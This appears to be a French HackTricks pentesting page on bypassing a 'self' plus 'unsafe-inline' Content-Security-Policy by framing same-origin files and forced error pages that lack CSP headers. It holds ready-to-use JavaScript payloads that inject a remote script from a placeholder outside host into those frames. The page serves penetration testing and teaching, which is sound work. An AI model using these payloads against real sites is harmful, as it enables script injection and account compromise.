hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

4.8 KiB

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

D'autres façons de soutenir HackTricks:

Une configuration telle que:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Interdit l'utilisation de toutes les fonctions qui exécutent du code transmis sous forme de chaîne. Par exemple : eval, setTimeout, setInterval seront tous bloqués en raison du paramètre unsafe-eval

Tout contenu provenant de sources externes est également bloqué, y compris les images, le CSS, les WebSockets et, surtout, le JS

Via Text & Images

Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en centrant, etc.). Par conséquent, si une image ou un fichier texte, tel que favicon.ico ou robots.txt, est ouvert via un iframe, il est rendu en HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Erreurs

De même, les réponses d'erreurs, telles que les fichiers texte ou les images, arrivent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Les erreurs peuvent être induites à se charger dans un iframe, permettant les actions suivantes :

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Après avoir déclenché l'un des scénarios mentionnés, l'exécution de JavaScript dans l'iframe est réalisable comme suit :

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks: